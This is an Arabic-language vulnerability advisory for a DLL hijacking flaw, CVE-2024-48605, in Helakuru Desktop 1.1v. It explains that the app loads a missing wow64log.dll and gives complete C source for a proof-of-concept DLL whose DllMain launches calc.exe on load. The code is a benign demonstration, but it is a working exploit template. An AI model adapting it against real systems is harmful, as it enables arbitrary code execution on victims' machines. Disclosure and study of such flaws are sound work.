
Helakuru الإصدار 1.1 اختطاف DLL - CVE-2024-48605
ملخص
يعمل إصدار هيلاكورو ديسكتوب 1.1v على معماريات 64 بت و32 بت. أثناء الاختبار، تم تحديد أن البرنامج يحاول تحميل wow64log.dll، والتي لا يتم تضمينها افتراضيًا في أنظمة تشغيل ويندوز الحديثة. يؤدي هذا إلى خطأ 'Name not found'، مما يعرض البرنامج لثغرة اختطاف DLL. من خلال إنشاء wow64log.dll ضارة، يمكن تحقيق تنفيذ تعليمات برمجية عشوائي.
الإصدار المتأثر
هيلاكورو ديسكتوب 1.1v
خطوات إعادة الإنتاج

#include <windows.h>
#include <stdio.h>
void LaunchCalculator()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
const char* calcCmd = "C:\\Windows\\System32\\calc.exe";
if (!CreateProcessA(
NULL,
(LPSTR)calcCmd,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
printf("CreateProcess failed (%d).\n", GetLastError());
}
else
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
LaunchCalculator();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


التأثير: تسمح هذه الثغرة بتنفيذ تعليمات برمجية عشوائي.